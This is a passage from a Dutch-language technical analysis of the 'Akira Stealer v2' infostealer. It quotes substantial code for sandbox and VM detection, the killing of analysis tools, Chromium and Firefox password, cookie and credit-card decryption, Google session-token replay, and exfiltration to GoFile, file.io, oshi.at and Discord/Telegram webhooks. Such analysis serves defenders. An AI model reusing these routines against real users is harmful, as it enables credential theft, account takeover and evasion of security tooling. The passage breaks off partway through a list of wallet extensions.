def checkRegistry() -> bool:
r1 = subprocess.run(
"REG QUERY HKLM\\...\\0000\\DriverDesc 2",
capture_output=True, shell=True)
r2 = subprocess.run(
"REG QUERY HKLM\\...\\0000\\ProviderName 2",
capture_output=True, shell=True)
# GPU name check
gpu_out = subprocess.run(
"wmic path win32_VideoController get name",
capture_output=True, shell=True).stdout.decode().splitlines()
gpucheck = any(x in gpu_out[2].lower()
for x in ("virtualbox", "vmware"))
return (r1.returncode != 1 and r2.returncode != 1) or gpucheck
Deze checks op hardwareniveau zijn bijzonder effectief tegen analyseopstellingen die gevirtualiseerde beeldadapters niet volledig maskeren.
7.3.11 Task-killing: analysetools in realtime onderdrukken
Akira ontloopt detectie niet alleen passief, maar gaat een stap verder door bekende analyse- of debugtools actief te beëindigen. De malware start een achtergrondthread die een lijst met processen doorloopt en elke match afsluit.
@staticmethod
def killTasks() -> None:
Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)
BLACKLISTED_TASKS = (
'wireshark','fiddler','ida64','x32dbg','vmtoolsd',
# ... dozens more ...
'glasswire','requestly'
)
Deze tools, veelgebruikt door incident responders en malware-analisten, worden uitgeschakeld voordat ze zinvolle gedragsartefacten kunnen verzamelen.
Samenvatting
Akira gebruikt een geraffineerd arsenaal aan anti-analysetechnieken die op meerdere systeemlagen aangrijpen, van omgevingsvariabelen en registersleutels tot netwerkprobes en processlijsten. Deze mechanismen zijn erop gericht zowel geautomatiseerde sandboxes als handmatige inspectieopstellingen te detecteren en te ontlopen.
De combinatie van passieve fingerprinting en actieve onderdrukking (bijvoorbeeld task killing) laat zien hoe zelfs malwarefamilies uit het middensegment inmiddels gelaagde evasielogica integreren.
7.3.12 Volledige blacklists en detectiefuncties
Geblacklistte hardware-UUID's
BLACKLISTED_UUIDS = (
'7AB5C494-39F5-4941-9163-47F54D6D5016',
'032E02B4-0499-05C3-0806-3C0700080009',
'03DE0294-0480-05DE-1A06-350700080009',
'11111111-2222-3333-4444-555555555555',
'6F3CA5EC-BEC9-4A4D-8274-11168F640058',
'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',
'4C4C4544-0050-3710-8058-CAC04F59344A',
'00000000-0000-0000-0000-AC1F6BD04972',
'00000000-0000-0000-0000-000000000000',
'5BD24D56-789F-8468-7CDC-CAA7222CC121',
'49434D53-0200-9065-2500-65902500E439',
'49434D53-0200-9036-2500-36902500F022',
'777D84B3-88D1-451C-93E4-D235177420A7',
'49434D53-0200-9036-2500-369025000C65',
'B1112042-52E8-E25B-3655-6A4F54155DBF',
'00000000-0000-0000-0000-AC1F6BD048FE',
'EB16924B-FB6D-4FA1-8666-17B91F62FB37',
'A15A930C-8251-9645-AF63-E45AD728C20C',
'67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',
'C7D23342-A5D4-68A1-59AC-CF40F735B363',
'63203342-0EB0-AA1A-4DF5-3FB37DBB0670',
'44B94D56-65AB-DC02-86A0-98143A7423BF',
'6608003F-ECE4-494E-B07E-1C4615D1D93C',
'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',
'49434D53-0200-9036-2500-369025003AF0',
'8B4E8278-525C-7343-B825-280AEBCD3BCB',
'4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',
'79AF5279-16CF-4094-9758-F88A616D81B4',
'FE822042-A70C-D08B-F1D1-C207055A488F',
'76122042-C286-FA81-F0A8-514CC507B250',
'481E2042-A1AF-D390-CE06-A8F783B1E76A',
'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',
'9961A120-E691-4FFE-B67B-F0E4115D5919'
)
Geblacklistte computernamen
BLACKLISTED_COMPUTERNAMES = (
'00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',
'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',
'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',
'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',
'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',
'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',
'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',
'desktop-vkeons4', 'NTT-EFF-2W11WSS'
)
Geblacklistte gebruikersaccounts
BLACKLISTED_USERS = (
'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',
'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',
'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',
'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',
'harry johnson', 'j.seance', 'a.monaldo', 'tvm'
)
Geblacklistte processen van analysetools
BLACKLISTED_TASKS = (
'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',
'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',
'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',
'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',
'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',
'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',
'discordtokenprotector', 'glasswire', 'requestly'
)
Belangrijkste detectiemethoden
@staticmethod
def checkUUID() -> bool:
"""WMIC hardware UUID against known VM IDs."""
try:
raw = subprocess.run(
"wmic csproduct get uuid",
shell=True, capture_output=True
).stdout.splitlines()[2].decode(errors='ignore').strip()
except:
raw = ""
return raw in VmProtect.BLACKLISTED_UUIDS
@staticmethod
def checkComputerName() -> bool:
"""ENV %COMPUTERNAME% in VM name list."""
return os.getenv("computername", "").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES
@staticmethod
def checkUsers() -> bool:
"""Current login username in VM users list."""
return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS
@staticmethod
def checkHosting() -> bool:
"""Query ip-api.com/hosting → 'true' indicates cloud VM."""
http = PoolManager(cert_reqs="CERT_NONE")
try:
return http.request(
'GET', 'http://ip-api.com/line/?fields=hosting'
).data.decode().strip() == 'true'
except:
return False
@staticmethod
def checkHTTPSimulation() -> bool:
"""
Attempt TLS to random subdomain.
Failure → possible HTTPS interception/sandbox.
"""
http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
try:
http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
return True
except:
return False
@staticmethod
def checkRegistry() -> bool:
"""
Look for VirtualBox/VMware in:
- Registry driver entries
- Video card name via WMIC
- Presence of VM-specific folders
"""
r1 = subprocess.run(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
"\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2",
shell=True, capture_output=True
)
r2 = subprocess.run(
"REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
"\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2",
shell=True, capture_output=True
)
gpu = any(
x.lower() in subprocess.run(
"wmic path win32_VideoController get name",
shell=True, capture_output=True
).stdout.decode().splitlines()[2].lower()
for x in ("virtualbox", "vmware")
)
dirs = any(os.path.isdir(d) for d in ('D:\\Tools','D:\\OS2','D:\\NT3X'))
return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs
@staticmethod
def killTasks() -> None:
"""Continuously terminate known analysis processes."""
Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)
7.3.13 Uitvoerings- en afbreeklogica
- Initialisatie: binnen de constructor
Akira.__init__()roept de malware directVmProtect.isVM(1)aan om snelle virtualisatiechecks met weinig overhead uit te voeren (bijvoorbeeld hostname, gebruiker, HTTPS-simulatie). - Diepgaande inspectie: als de eerste test wordt doorstaan, volgt
VmProtect.isVM(2), waarmee uitgebreidere checks worden gestart, waaronder validatie van de hardware-UUID, hostingdetectie viaip-api.comen het scannen op registerartefacten. - Afbreekpad: als een check
Trueteruggeeft en daarmee op een virtuele of analyseomgeving wijst, voert de codesys.exit()uit en stopt de uitvoering voordat er routines voor dataverzameling of exfiltratie starten.
7.3.14 Conclusie
De module VmProtect in Akira Stealer v2 laat een gelaagde afweer tegen analyse zien, met zowel lokale systeemfingerprints als netwerkbased heuristieken. Door deze precieze checks te begrijpen en te instrumenteren, kunnen verdedigers het spel omdraaien en dergelijke ontwijkende malware in operationele omgevingen detecteren.
7.4 Exfiltratie van browserdata
Een van de kerndoelen van Akira Stealer v2 is het grootschalig onttrekken van gevoelige, in de browser opgeslagen data. De malware bevat daarvoor toegesneden modules die zowel Chromium-gebaseerde als Gecko-gebaseerde (Firefox) browsers viseren. De mogelijkheden omvatten het onttrekken en ontsleutelen van opgeslagen wachtwoorden, cookies, creditcardgegevens, autofill-invoer en zelfs sessietokens die kunnen worden hergebruikt voor een volledige accountovername.
1. Inrichten van de werkomgeving
client_dir = Utils.get_temp_folder() # e.g., C:\Windows\Temp\DESKTOP-1234
os.makedirs(client_dir, exist_ok=True)
for sub in ("Passwords","Cookies","CreditCards","History","Autofill","Wallets"):
os.makedirs(os.path.join(client_dir, sub), exist_ok=True)
- Maakt een wegwerpbare stagingruimte aan onder de tijdelijke systeemmap, vernoemd naar de machine van het slachtoffer (%TEMP%\DESKTOP-
), zodat alle geëxfiltreerde artefacten op één eenvoudig te archiveren locatie worden samengebracht. - Scheidt data per type: zes aparte submappen (Passwords, Cookies, CreditCards, History, Autofill, Wallets) voorkomen naamconflicten en vereenvoudigen het latere inpakken, want elke onttrekkingsroutine schrijft alleen in zijn eigen map.
- Idempotente mapaanmaak gebruikt exist_ok=True, dus als de malware opnieuw draait (bijvoorbeeld bij een herstart of via persistentie), crasht ze niet en overschrijft ze geen bestaande data: nieuwe items worden simpelweg aan dezelfde structuur toegevoegd.
- Vergemakkelijkt selectief opruimen: zodra de upload en notificatie klaar zijn, kan de stealer Utils.clear_client_folder() aanroepen om recursief alleen zijn eigen werkomgeving te verwijderen, zonder resterende bestanden achter te laten.
- Bereidt parallelle onttrekkingsthreads voor: doordat alle doelen vooraf zijn aangemaakt, kunnen achtergrondthreads die browsercredentials, cookies, autofills, crypto-walletdata en meer verzamelen direct hun resultaten wegschrijven zonder extra controles, wat de overhead minimaliseert en het venster verkleint waarin verdedigende hooks onverwachte bestands-I/O kunnen detecteren.
2. Ondersteunde browsers
- Chromium‑gebaseerd
- Google Chrome (Stable & SxS)
- Microsoft Edge
- Brave Browser
- Opera & Opera GX
- Chromium
- Comodo Dragon
- Epic Privacy Browser
- Iridium Browser
- UR Browser
- Vivaldi Browser
- Yandex Browser
- Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran
- Firefox‑gebaseerd (via
GeckoDriver)- Mozilla Firefox
- Waterfox
- Pale Moon
Akira lokaliseert gebruikersprofielen dynamisch met behulp van omgevingsvariabelen en bekende mapstructuren:user_path = os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data")
De malware controleert recursief op beschikbare browserprofielen (bijvoorbeeldDefault,Profile 1, enzovoort) en viseert SQLite-databases binnen die paden.
7.4.1 Onttrokken datatypes
| Datatype | Bronbestand | Opmerkingen |
|---|---|---|
| Opgeslagen wachtwoorden | Login Data (Chromium) |
Ontsleuteld via DPAPI of AES-GCM (vanaf Chromium v80) |
| Cookies | Cookies |
Kunnen sessietokens bevatten, met name voor Google-/Facebook-accounts |
| Autofill-data | Web Data |
Adressen, e-mailadressen, telefoonnummers, enzovoort |
| Creditcards | Web Data |
Versleuteld; vereist de master key |
| Sessietokens | In-memory & cookies | Inclusief Gmail, Google-accounts en Discord OAUTH-replay |
| Geschiedenis & URL's | History, Visited Links |
Werden eveneens naar de aanvaller geëxfiltreerd |
3. Onttrekkingsmodules Wanneer malware-auteurs browsers viseren, zijn hun voornaamste schatkamers de verschillende SQLite-databases waarin Chrome, Firefox en verwanten credentials, cookies, geschiedenis en autofill-invoer bewaren. astor.py rijgt lichte Python- en native API's aaneen om methodisch elk stukje data te plukken, en zelfs live OAuth-sessies te herspelen, zonder een spoor achter te laten. Hieronder volgt een diepgaande, module-voor-module rondgang, letterlijk uit de code.
7.4.2 Wachtwoorddumper (Chromium.GetPasswords)
Deze module doorzoekt systematisch alle Chromium-gebaseerde browserprofielen om opgeslagen inloggegevens te onttrekken. Door de Login Data-SQLite-database te viseren haalt ze gebruikersnamen en versleutelde wachtwoorden op, en gebruikt vervolgens de encryptiesleutel van het platform (opgehaald via DPAPI of AES-GCM) om die naar leesbare tekst te ontsleutelen. Deze credentials zijn zeer waardevol voor post-compromise-pivoting of accountovername.
for root, _, files in os.walk(self.BrowserPath):
for file in files:
if file.lower() == "login data":
# Copy DB → open → extract rows
results = cursor.execute(
"SELECT origin_url, username_value, password_value FROM logins"
).fetchall()
for url, user, pwd_blob in results:
clear_pwd = self.Decrypt(pwd_blob, encryptionKey)
passwords.append((url, user, clear_pwd))
- Lokaliseert elke
Login Data-SQLite-database onder deUser Data-map van de browser. - Kopieert deze naar een tijdelijk bestand om browserlocks te vermijden.
- SQL-query:
SELECT origin_url, username_value, password_value FROM logins. - Ontsleutelt elke
password_value-blob via AES‑GCM (v10/v11) of met Windows DPAPI als fallback. - Schrijft de uitvoer weg naar
Passwords/<BrowserName> Passwords.txt.
7.4.3 Creditcarddumper (Chromium.GetCreditCards)
Hier benadert de stealer opgeslagen creditcardgegevens uit het Web Data-bestand van elk browserprofiel. De focus ligt op het onttrekken van vervaldetails en versleutelde creditcardnummers, die vervolgens met dezelfde logica als wachtwoorden worden ontsleuteld. Hoewel CVV-codes doorgaans niet worden opgeslagen, kan de teruggewonnen informatie alsnog worden misbruikt voor card-not-present-fraude.
results = cursor.execute(
"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards"
).fetchall()
for month, year, enc_cc in results:
cc_number = self.Decrypt(enc_cc, encryptionKey)
ccs.append((cc_number, month, year))
- Viseert de
Web Data-SQLite-stores onder elk profiel. - SQL-query:
SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards. - Ontsleutelt
card_number_encryptedprecies zoals de wachtwoordblobs. - Schrijft uit naar
CreditCards/<BrowserName> CreditCards.txt.
7.4.4 Cookiedumper (Chromium.GetCookies)
Cookies, en dan vooral sessiecookies, zijn een primair doelwit voor accountovername zonder wachtwoord. Deze module dumpt alle cookiebestanden over alle profielen, ontsleutelt ze en verzamelt essentiële metadata zoals domein, naam en vervaldatum. Gecombineerd met fingerprinting kunnen deze cookies naadloze replay-aanvallen op geauthenticeerde diensten mogelijk maken.
results = cursor.execute(
"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
).fetchall()
for host, name, path, blob, expiry in results:
cookie_val = self.Decrypt(blob, encryptionKey)
cookies.append((host, name, path, cookie_val, expiry))
- Scant elke
Cookies-SQLite-database. - Selecteert
host_key, name, path, encrypted_value, expires_utc. - Ontsleutelt elke
encrypted_value-blob om de eigenlijke cookiestring te onthullen. - Bewaart in
Cookies/<BrowserName> Cookies.txt.
7.4.5 Google-sessiedumper (Chromium.dump_google_sessions)
Deze routine, een van de geavanceerdere componenten, ontsleutelt opgeslagen OAuth-tokens uit de token_service-tabel. Door ze te herspelen via het multilogin-endpoint van Google kan de malware actieve sessiecookies regenereren, waardoor aanvallers Google-accounts kunnen overnemen zonder credentials. Dit illustreert hoe access-tokens een primair doelwit zijn geworden in moderne stealers.
cursor.execute("SELECT service, encrypted_token FROM token_service")
for service, blob in cursor.fetchall():
iv = blob[3:15]
ciphertext = blob[15:-16]
cipher = AES.new(secret_key, AES.MODE_GCM, iv)
token = cipher.decrypt(ciphertext).decode()
# Replays via POST to OAuth endpoint
response = requests.post(
"https://accounts.google.com/oauth/multilogin",
headers={"Authorization": f"MultiBearer {token}:{service_id}"},
data={"source": "com.google.Drive"}
)
save each account’s cookies to file
- Haalt
serviceen het ruweencrypted_tokenop uit deWeb Data-kloon. - AES‑GCM-ontsleuteling met de
Local State-sleutel van de browser. - Herspeelt ontsleutelde tokens in een POST naar Google's
multilogin-API om geldige OAuth-cookies te reconstrueren. - Schrijft per account sessiebestanden weg onder
Cookies/<display_email> Google Session.txt.
7.4.6 Geschiedenisdumper (Chromium.GetHistory)
Deze functie onttrekt vermeldingen uit de browsegeschiedenis, waaronder URL, titel en bezoekfrequentie. Naast de privacyschending helpt deze data aanvallers om het gedrag van het slachtoffer te begrijpen, doelen met hoge waarde te identificeren (bijvoorbeeld bankportalen) of social-engineering-payloads op maat te maken.
results = cursor.execute(
"SELECT url, title, visit_count, last_visit_time FROM urls"
).fetchall()
history.sort(key=lambda x: x[3], reverse=True)
return [(url, title, count) for url, title, count, _ in history]
- Selecteert
url, title, visit_count, last_visit_timeuit elkeHistory-DB. - Sorteert de vermeldingen aflopend op
last_visit_time. - Schrijft uit naar
History/<BrowserName> History.txt.
7.4.7 Autofill-dumper (Chromium.GetAutofills)
Autofill-invoer, zoals adressen, namen, e-mailadressen en soms betaalgerelateerde data, wordt uit de Web Data-opslag van de browser geschraapt. Deze waarden lijken misschien niet kritiek, maar samengevoegd leveren ze een rijk profiel op van de identiteit en het gedrag van het slachtoffer.
results = cursor.execute(
"SELECT name, value FROM autofill"
).fetchall()
for field, value in results:
autofills.append((field.strip(), value.strip()))
- Haalt formulierinvoer op:
name, valueuit hetweb data-bestand. - Schrijft dit weg als
Autofill/<BrowserName> Autofill.txt.
7.4.8 Firefox-profielgrabber (GeckoDriver & grabFirefoxProfiles)
Anders dan de fijnmazige Chromium-routines kiest deze functie voor een brede aanpak: ze comprimeert de volledige Firefox-profielmap, inclusief opgeslagen logins, cookies en bladwijzers, en exfiltreert die in zijn geheel. Zo kunnen aanvallers de data offline analyseren of onttrekken, waarbij ze ontsleutelingshordes omzeilen met bekende NSS-tooling.
with zipfile.ZipFile(zip_path, 'w') as zipf:
for root, dirs, files in os.walk(source_path):
zipf.write(each file)
# Upload via GoFile/File.io, then POST via attacker webhooks
- Zipt de volledige
%APPDATA%\Mozilla\Firefox\Profiles-map. - Noemt deze
%TEMP%\<ComputerName>_Firefox_profiles.zipen stuurt de downloadlink over dezelfde webhook-kanalen. - Roept daarnaast dezelfde SQLite-gebaseerde onttrekkingsfuncties (
logins.json,cookies.sqlite,places.sqlite) aan tegen elk Firefox-profiel, met de reeds aanwezige NSS-ontsleutelingsroutines.
7.4.9 Samenvatting van de onttrekking
Astor.py orkestreert een omvattend browsercompromis door systematisch elk credential- en sessieartefact over Chromium-gebaseerde en Firefox-clients te oogsten. Het lokaliseert en kopieert elke SQLite-store veilig, Login Data, Web Data, Cookies, History en autofill, en voert vervolgens gerichte SQL-query's uit om URL's, gebruikersnamen, wachtwoorden, creditcardgegevens, cookies, browsegeschiedenis en formulierinvoer te onttrekken. Wachtwoorden en betaaldata worden ontsleuteld via AES-GCM (of Windows DPAPI als fallback), terwijl cookies op vergelijkbare wijze worden uitgepakt om hun leesbare waarden te onthullen. Voor Google-accounts worden versleutelde OAuth-tokens uit token_service ontsleuteld en herspeeld tegen de multilogin-API om live sessiecookies te regenereren. Ten slotte worden Firefox-profielen in hun geheel gearchiveerd (inclusief logins.json, cookies.sqlite en places.sqlite) en als ZIP's afgeleverd, zodat geen enkel artefact achterblijft. Deze end-to-end-pijplijn draait geruisloos onder %TEMP%\<ComputerName> en produceert netjes geordende uitvoerbestanden voor elke datacategorie.
7.5 Ontsleutelingslogica
Moderne browsers zoals Chrome en Edge versleutelen gevoelige data, zoals wachtwoorden, cookies en creditcardgegevens, voordat ze die lokaal opslaan. Akira bevat ingebouwde ontsleutelingsroutines die zowel oudere als huidige Chromium-encryptiemethoden aankunnen. Zo kan de malware leesbare data onttrekken, ongeacht het patchniveau van het systeem of de browserversie.
De kern van dit proces is het onttrekken en ontsleutelen van de master-encryptiesleutel van de browser, die is opgeslagen in een bestand genaamd Local State. Afhankelijk van de browserversie en de Windows-build selecteert Akira dynamisch de passende ontsleutelingsmethode:
DPAPI (Data Protection API) wordt gebruikt op oudere systemen, waar Chrome geheimen opslaat die beschermd zijn met de Windows-credentials van de huidige gebruiker.
AES-GCM wordt gebruikt op moderne Chromium-builds, waar een willekeurig gegenereerde master key zelf met DPAPI wordt versleuteld en vervolgens wordt gebruikt voor de in-app-encryptie van gebruikersdata.
Door eerst de Local State-master key te ontsleutelen krijgt Akira de mogelijkheid om alle browsergeheimen te ontgrendelen, wat de weg vrijmaakt voor het onttrekken van credentials, tokens, cookies en meer.
Sleutelonttrekking
local_state_path = os.path.join(user_path, "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
Ontsleuteling (AES-GCM):
nonce = value[3:15]
ciphertext = value[15:-16]
tag = value[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
Als een fallback naar DPAPI nodig is (op oudere systemen), gebruikt de malware win32crypt.CryptUnprotectData().
Toelichting op decrypt_password_blob:
Deze functie laat zien hoe Akira Stealer elke opgeslagen wachtwoordwaarde uit Chromium-gebaseerde browsers ontsleutelt. Ze behandelt twee gevallen:
- Windows DPAPI-blobs (oudere of niet met GCM versleutelde data): valt terug op de systeemaanroep
CryptUnprotectData, die de Windows-credentials van de gebruiker gebruikt om te ontsleutelen. - AES-GCM-versleutelde blobs (Chrome v10/v11-formaat): parseert de versieheader, onttrekt de IV en de authenticatietag, en gebruikt de
cryptography-bibliotheek om de payload veilig te ontsleutelen.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
def decrypt_password_blob(buffer: bytes, key: bytes) -> str:
"""
Decrypts a Chrome password blob using either DPAPI or AES-GCM.
Parameters:
- buffer: raw encrypted blob from the `password_value` field
- key: the master AES key retrieved via DPAPI from Local State
Returns:
- Decrypted UTF-8 plaintext password
"""
# 1) DPAPI fallback for non-AES-GCM blobs
if not buffer.startswith((b'v10', b'v11')):
# Uses Windows CryptUnprotectData under the hood
return CryptUnprotectData(buffer)
# 2) AES-GCM decryption for Chrome v10/v11 format:
# Bytes layout:
# [0:3] = version header ('v10'/'v11')
# [3:15] = initialization vector (IV)
# [15:-16] = ciphertext payload
# [-16:] = GCM authentication tag
iv = buffer[3:15]
ciphertext = buffer[15:-16]
tag = buffer[-16:]
# Initialize AES-GCM cipher with extracted IV and tag
cipher = Cipher(
algorithms.AES(key),
modes.GCM(iv, tag),
backend=default_backend()
)
decryptor = cipher.decryptor()
# Perform decryption; raises if authentication fails
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
# Decode to UTF-8, ignoring any stray errors
return plaintext.decode('utf-8', errors='ignore')
7.6 Kaping van sessietokens
Akira blijft niet steken bij passief dataverzamelen: de malware kaapt actief live sessietokens om slachtoffers in realtime te imiteren. Nadat ze versleutelde tokens uit de browseropslag heeft onttrokken, reconstrueert ze de vereiste autorisatieheader en herspeelt ze een MultiLogin-verzoek tegen het OAuth-endpoint van Google. Het codefragment hieronder illustreert dit proces:
# Build SAPISIDHASH header for Google services
origin = "https://accounts.google.com"
timestamp = int(time.time())
# Compute SHA1 of "timestamp origin SAPISID"
payload = f"{timestamp} {origin} {sap_id_cookie}".encode()
signature = hashlib.sha1(payload).hexdigest()
headers = {
"Authorization": f"SAPISIDHASH {timestamp}_{signature}",
"Content-Type": "application/json"
}
# Replay MultiLogin to fetch valid session cookies
response = requests.post(
"https://accounts.google.com/accounts/multilogin",
headers=headers,
json={"continue": "https://mail.google.com"}
)
if response.status_code == 200:
# Victim’s cookies now present in response.cookies
hijacked_cookies = response.cookies
Door dit verzoek te herspelen kan Akira de Gmail, Drive of elke andere Google-dienst van de gebruiker imiteren die door een geldige sessie is beschermd, zonder credentials. Deze techniek maakt gebruik van Google's eigen logica voor tokenacceptatie, waardoor ze nauwelijks te onderscheiden is van legitiem clientgedrag.
7.7 Firefox-decryptie
Op Gecko gebaseerde browsers zoals Firefox versleutelen opgeslagen credentials en cookies met een master key die in key4.db staat. Akira bevat een uitgeklede decryptieroutine die de NSS-logica van Mozilla nabootst en zowel 3DES- als AES-CBC-varianten verwerkt zonder de prompt voor het master password te triggeren. Voorbeeld van gebruik:
# Load global Salt and encrypted item from key4.db
db = sqlite3.connect(profile_path + "/key4.db")
cursor = db.cursor()
cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
global_salt, item2 = cursor.fetchone()
# Decode DER structure and derive key
decoded, _ = der_decode(item2)
entry_salt = decoded[0][1][0].asOctets()
cipher_text = decoded[1].asOctets()
# Derive 3DES key
key = derive_3des_key(global_salt, master_password, entry_salt)
iv = decoded[0][1][1].asOctets()
# Decrypt credentials
cipher = DES3.new(key, DES3.MODE_CBC, iv)
clear_password = unpad(cipher.decrypt(cipher_text))
print("Decrypted Firefox password:", clear_password)
Met deze routine kan Akira transparant logins.json, cookies.sqlite en places.sqlite voor elk Firefox-profiel dumpen en de gedecrypteerde output wegschrijven naar:
Passwords/Firefox_<ProfileName> Passwords.txt
Cookies/Firefox_<ProfileName> Cookies.txt
History/Firefox_<ProfileName> History.txt
Deze aanpak omzeilt de master-password-controles op gebruikersniveau, wat de stealer onbeperkte toegang geeft tot alle opgeslagen credentials.*
4. Bestandsstructuur & naamgeving
<ComputerName>.zip
└── <ComputerName>\
├── Passwords\
│ ├── Chrome Passwords.txt
│ ├── Edge Passwords.txt
│ └── …
├── Cookies\
│ ├── Chrome Cookies.txt
│ ├── Edge Cookies.txt
│ ├── user@example.com Google Session.txt
│ └── …
├── CreditCards\
│ ├── Chrome CreditCards.txt
│ └── …
├── History\
│ ├── Chrome History.txt
│ └── …
├── Autofill\
│ ├── Chrome Autofill.txt
│ └── …
└── Wallets\
├── Firefox_Default_profiles.zip
├── Firefox_Profile1_profiles.zip
└── …
- Elke
.txtbegint met een vaste header (<================[Akira Stealer v2]>================>) en een scheidingslijn (====…====). - ZIP op schijf:
%TEMP%\<ComputerName>.zip. - C&C-bestandslabel:
Akira-<username>.zip.
5. Exfiltratie & opschoning
url = Webhook.uploadToGofile(zip_path)
if not url:
url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
Webhook.sendDataTG(zip_path, chatId, startup)
Utils.clear_client_folder()
- Primair kanaal (GoFile.io): De malware probeert eerst het ZIP-archief met alle gestolen artefacten te uploaden naar GoFile.io en parseert de JSON-respons op een
downloadPage-URL die de aanvaller directe toegang tot het archief geeft. - Automatische fallbacks: Mocht het GoFile-endpoint falen (netwerktimeout, rate limit, enz.), dan valt de code moeiteloos terug op
file.io, en als ook dat een lege link teruggeeft, uiteindelijk oposhi.at. Beide alternatieven worden aangeroepen zonder exceptions te werpen, waardoor gegarandeerd een van de drie diensten na elkaar wordt geprobeerd. - Webhook-rapportage: Zodra een URL (of een lege string bij aanhoudend falen) is bepaald, wordt
Webhook.sendDataTG(...)aangeroepen, dat de downloadlink, machine-identifiers (chatId,startup-flag) en alle categorietellingen (passwords, cookies, autofills, wallets) samenpakt in één Discord- of Telegram-bericht. - Directe opschoning: Na de rapportage verwijdert
Utils.clear_client_folder()recursief de volledige tijdelijke werkruimte en het ZIP-bestand zelf, waardoor er geen spoor van de geoogste data of het archief op schijf achterblijft.
Failure Resilience:
- Alle uploadroutines geven bij falen
""terug in plaats van te throwen, wat garandeert dat de codeflow verder blijft lopen.- Zelfs als elke dienst onbereikbaar is, verzendt de malware nog steeds een webhook-rapport (weliswaar met een ontbrekende link) voordat lokale artefacten worden gewist, wat de forensische resten minimaliseert tenzij het proces onverwacht crasht.
6. Robuustheid & foutafhandeling
- Granulaire exception handling: Elke interactie met het bestandssysteem—of het nu
shutil.copy, SQLite-queries of ZIP-operaties zijn—wordt omhuld mettry/except-blokken. Wanneer een fout optreedt (vergrendelde DB, permission denied, misvormd record), wordt de exception opgevangen en gelogd viaAkira.logErrorTg(), en de uitvoering gaat door, waardoor het falen geïsoleerd blijft tot dat specifieke bestand of die specifieke module. - Threaded isolatie per browser: De extractieroutines voor elke ondersteunde browser draaien in hun eigen thread. Dit multithreaded ontwerp zorgt ervoor dat een crash of deadlock in de extractie van één browser (bijv. corrupt profiel, ontbrekende key) de analyse van andere browsers niet stopzet of vertraagt.
- Silent fallbacks & defaults: Veel hulproutines, zoals uploaden naar alternatieve filehosts, het controleren van remote resources of het spawnen van subprocessen, gebruiken geneste
try/exceptzonder meldingen aan de oppervlakte—wat de stealth maximaliseert. Standaardwaarden (lege strings, booleans) zijn gekozen om de flow ononderbroken te houden en voor de hand liggende foutcondities weg te nemen. - Mutex & startup guards: Een named mutex (
1qsMlseJplTlArIF14f) voorkomt meerdere instanties, terwijl registercontroles enUtils.CreateMutex()tegen gelijktijdige runs beschermen, wat extra stabiliteit biedt tijdens deployment in de praktijk.
7.8 Wallet- en token-exfiltratie
In deze fase voert Akira Stealer v2 de meest complete sweep uit voor cryptocurrency-credentials en sessietokens, verspreid over browserextensies, desktopwallets, messaging-tokens en live keylogging. Het draait in parallelle threads, zodat geen enkele vector wordt gemist. Hieronder volgt een stapsgewijze, met code onderbouwde deep dive.
7.8.1 Wallets als browserextensie
Targets: Meer dan 80 extensies verspreid over populaire browsers, waaronder MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman en meer.
# Hardcoded list of extension IDs and human-friendly names
walletsExtensions = [
["MetaMask", "nkbihfbeogaeaoehlefnkodbefgpgknn"],
["Phantom", "bfnaelmomeimhlpmgjnjophhpkkoljpa"],
